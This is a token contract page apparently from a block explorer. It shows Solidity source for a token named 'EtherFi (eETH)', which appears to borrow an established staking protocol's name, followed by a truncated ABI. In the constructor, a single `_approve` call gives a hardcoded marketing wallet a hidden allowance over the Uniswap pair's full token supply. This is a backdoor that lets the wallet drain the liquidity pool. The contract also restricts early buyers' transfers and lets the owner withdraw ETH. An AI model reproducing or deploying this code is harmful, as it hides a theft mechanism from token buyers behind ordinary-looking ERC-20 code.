ETH Price: $2,880.36 (-9.01%)
Gas: 16 Gwei

Token

EtherFi (eETH)
 

Overview

Max Total Supply

1,000,000,000 eETH

Holders

65

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
13,252,546.018376330754282994 eETH

Value
$0.00
0xb0a1be32df8c8248a54389af5d5528c38d92d5be
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
eETH

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-08
*/

/**
Decentralized and non-custodial Ethereum staking protocol.

Website: https://www.etherfi.tech
Telegram: https://t.me/etherfi_erc
Twitter: https://twitter.com/etherfi_erc
Dapp: https://app.etherfi.tech
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20MetaInfo is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20MetaInfo {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _createInitialSupply(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

interface IUniswapRouterV2 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapFactoryV2 {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract eETH is ERC20, Ownable {
    uint256 public maxTxAmount;
    uint256 public maxTransaferAmount;
    uint256 public maxWallet;

    IUniswapRouterV2 public uniswapRouter;
    address public uniswapPair;

    bool private _swapping;
    uint256 public swapTokensAtAmount;

    address marketingWallet;
    address developerAddress;

    uint256 public tradeEnableBlock = 0;
    uint256 public blockForPenaltyEnd;
    mapping (address => bool) public hasBoughtEarly;
    uint256 public bots;

    bool public hasLimitEffect = true;
    bool public tradeEnabled = false;
    bool public feeSwapEnabled = false;

    mapping (address => bool) private _isExcluded;
    mapping (address => bool) public isMaxTxExcluded;
    mapping (address => bool) public isAMMPair;
    mapping(address => uint256) private _lastTransferTime;
    bool public hasTransferDelay = true;

    uint256 public buyTotalFees;
    uint256 public buyOperationsFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    uint256 public buyBurnFee;

    uint256 public sellTotalFees;
    uint256 public sellOperationsFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    uint256 public sellBurnFee;

    uint256 public tokensForOperations;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    uint256 public tokensForBurn;

    event UpdatedMaxBuyAmount(uint256 newAmount);

    event UpdatedMaxSellAmount(uint256 newAmount);

    event UpdatedMaxWalletAmount(uint256 newAmount);

    event UpdatedOperationsAddress(address indexed newWallet);

    event MaxTransactionExclusion(address _address, bool excluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20(unicode"EtherFi", unicode"eETH") {

        address newOwner = msg.sender; // can leave alone if owner is deployer.

        IUniswapRouterV2 _dexRouter = IUniswapRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapRouter = _dexRouter;

        // create pair
        uniswapPair = IUniswapFactoryV2(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH());
        _excludeFromMaxTransaction(address(uniswapPair), true);
        _setAMMPair(address(uniswapPair), true);

        uint256 totalSupply = 1 * 1e9 * 1e18;

        maxTxAmount = totalSupply * 25 / 1000;
        maxTransaferAmount = totalSupply * 25 / 1000;
        maxWallet = totalSupply * 25 / 1000;
        swapTokensAtAmount = totalSupply / 100000;

        buyOperationsFee = 25;
        buyLiquidityFee = 0;
        buyDevFee = 0;
        buyBurnFee = 0;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;

        sellOperationsFee = 25;
        sellLiquidityFee = 0;
        sellDevFee = 0;
        sellBurnFee = 0;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;

        marketingWallet = 0x930fabb4cBaaDc0E066734998e0896FC63d5d1E6;
        developerAddress = msg.sender;

        _excludeFromMaxTransaction(newOwner, true);
        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(address(0xdead), true);

        excludeFromFees(newOwner, true);
        excludeFromFees(address(this), true);
        excludeFromFees(marketingWallet, true);
        _approve(uniswapPair, marketingWallet, totalSupply);
        excludeFromFees(address(0xdead), true);

        _createInitialSupply(newOwner, totalSupply);
        transferOwnership(newOwner);
    }

    receive() external payable {}
    
    function tradeOpen() external onlyOwner {
        require(!tradeEnabled, "Cannot reenable trading");
        tradeEnabled = true;
        feeSwapEnabled = true;
        tradeEnableBlock = block.number;
        blockForPenaltyEnd = tradeEnableBlock;
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner {
        hasLimitEffect = false;
        hasTransferDelay = false;
    }

    function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 2 / 1000)/1e18, "Cannot set max buy amount lower than 0.2%");
        maxTxAmount = newNum * (10**18);
        emit UpdatedMaxBuyAmount(maxTxAmount);
    }

    function updateMaxSellAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 2 / 1000)/1e18, "Cannot set max sell amount lower than 0.2%");
        maxTransaferAmount = newNum * (10**18);
        emit UpdatedMaxSellAmount(maxTransaferAmount);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 3 / 1000)/1e18, "Cannot set max wallet amount lower than 0.3%");
        maxWallet = newNum * (10**18);
        emit UpdatedMaxWalletAmount(maxWallet);
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
  	    require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
  	    require(newAmount <= totalSupply() * 1 / 1000, "Swap amount cannot be higher than 0.1% total supply.");
  	    swapTokensAtAmount = newAmount;
  	}

    function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
        isMaxTxExcluded[updAds] = isExcluded;
        emit MaxTransactionExclusion(updAds, isExcluded);
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
        if(!isEx){
            require(updAds != uniswapPair, "Cannot remove uniswap pair from max txn");
        }
        isMaxTxExcluded[updAds] = isEx;
    }

    function _setAMMPair(address pair, bool value) private {
        isAMMPair[pair] = value;

        _excludeFromMaxTransaction(pair, value);
    }

    function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee) external onlyOwner {
        buyOperationsFee = _operationsFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyBurnFee = _burnFee;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;
        require(buyTotalFees <= 10, "Must keep fees at 10% or less");
    }

    function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee) external onlyOwner {
        sellOperationsFee = _operationsFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellBurnFee = _burnFee;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;
        require(sellTotalFees <= 10, "Must keep fees at 10% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcluded[account] = excluded;
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");

        if(!tradeEnabled){
            require(_isExcluded[from] || _isExcluded[to], "Trading is not active.");
        }

        if(blockForPenaltyEnd > 0){
            require(!hasBoughtEarly[from] || to == owner() || to == address(0xdead), "Bots cannot transfer tokens in or out except to owner or dead address.");
        }

        if(hasLimitEffect){
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcluded[from] && !_isExcluded[to]){

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
                if (hasTransferDelay){
                    if (to != address(uniswapRouter) && to != address(uniswapPair)){
                        require(_lastTransferTime[tx.origin] < block.number - 2 && _lastTransferTime[to] < block.number - 2, "_transfer:: Transfer Delay enabled.  Try again later.");
                        _lastTransferTime[tx.origin] = block.number;
                        _lastTransferTime[to] = block.number;
                    }
                }
    
                //when buy
                if (isAMMPair[from] && !isMaxTxExcluded[to]) {
                        require(amount <= maxTxAmount, "Buy transfer amount exceeds the max buy.");
                        require(amount + balanceOf(to) <= maxWallet, "Cannot Exceed max wallet");
                }
                //when sell
                else if (isAMMPair[to] && !isMaxTxExcluded[from]) {
                        require(amount <= maxTransaferAmount, "Sell transfer amount exceeds the max sell.");
                }
                else if (!isMaxTxExcluded[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Cannot Exceed max wallet");
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount && amount > swapTokensAtAmount;

        if(canSwap && feeSwapEnabled && !_swapping && isAMMPair[to] && !_isExcluded[from] && !_isExcluded[to]) {
            _swapping = true;

            swapBack();

            _swapping = false;
        }

        bool takeFee = true;
        // if any account belongs to _isExcluded account then remove the fee
        if(_isExcluded[from] || _isExcluded[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // bot/sniper penalty.
            if(earlyBuyPenaltyInEffect() && isAMMPair[from] && !isAMMPair[to] && buyTotalFees > 0){

                if(!hasBoughtEarly[to]){
                    hasBoughtEarly[to] = true;
                    bots += 1;
                }

                fees = amount * 30 / 100;
        	    tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForOperations += fees * buyOperationsFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForBurn += fees * buyBurnFee / buyTotalFees;
            }

            // on sell
            else if (isAMMPair[to] && sellTotalFees > 0){
                fees = amount * sellTotalFees / 100;
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForOperations += fees * sellOperationsFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForBurn += fees * sellBurnFee / sellTotalFees;
            }

            // on buy
            else if(isAMMPair[from] && buyTotalFees > 0) {
        	    fees = amount * buyTotalFees / 100;
        	    tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForOperations += fees * buyOperationsFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForBurn += fees * buyBurnFee / buyTotalFees;
            }

            if(fees > 0){
                super._transfer(from, address(this), fees);
            }

        	amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function earlyBuyPenaltyInEffect() public view returns (bool){
        return block.number < blockForPenaltyEnd;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();

        _approve(address(this), address(uniswapRouter), tokenAmount);

        // make the swap
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapRouter), tokenAmount);

        // add the liquidity
        uniswapRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(0xdead),
            block.timestamp
        );
    }

    function swapBack() private {

        if(tokensForBurn > 0 && balanceOf(address(this)) >= tokensForBurn) {
            _burn(address(this), tokensForBurn);
        }
        tokensForBurn = 0;

        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForOperations + tokensForDev;

        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        bool success;

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;

        swapTokensForEth(contractBalance - liquidityTokens);

        uint256 ethBalance = address(this).balance;
        uint256 ethForLiquidity = ethBalance;

        uint256 ethForOperations = ethBalance * tokensForOperations / (totalTokensToSwap - (tokensForLiquidity/2));
        uint256 ethForDev = ethBalance * tokensForDev / (totalTokensToSwap - (tokensForLiquidity/2));

        ethForLiquidity -= ethForOperations + ethForDev;

        tokensForLiquidity = 0;
        tokensForOperations = 0;
        tokensForDev = 0;
        tokensForBurn = 0;

        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
        }

        (success,) = address(developerAddress).call{value: ethForDev}("");
        payable(marketingWallet).transfer(address(this).balance);        
    }

    function withdrawETH() external onlyOwner {
        bool success;
        (success,) = address(msg.sender).call{value: address(this).balance}("");
    }

    function setMarketingAddress(address _operationsAddress) external onlyOwner {
        require(_operationsAddress != address(0), "_operationsAddress address cannot be 0");
        marketingWallet = payable(_operationsAddress);
    }

    function setDeveloperAddress(address _devAddress) external onlyOwner {
        require(_devAddress != address(0), "_devAddress address cannot be 0");
        developerAddress = payable(_devAddress);
    }

    function manualSwap() external onlyOwner {
        require(balanceOf(address(this)) >= swapTokensAtAmount, "Can only swap when token amount is at or higher than restriction");
        _swapping = true;
        swapBack();
        _swapping = false;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"}],"name":"UpdatedOperationsAddress","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockForPenaltyEnd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bots","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlyBuyPenaltyInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeSwapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"hasBoughtEarly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasLimitEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isAMMPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMaxTxExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransaferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_devAddress","type":"address"}],"name":"setDeveloperAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_operationsAddress","type":"address"}],"name":"setMarketingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForOperations","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeEnableBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract 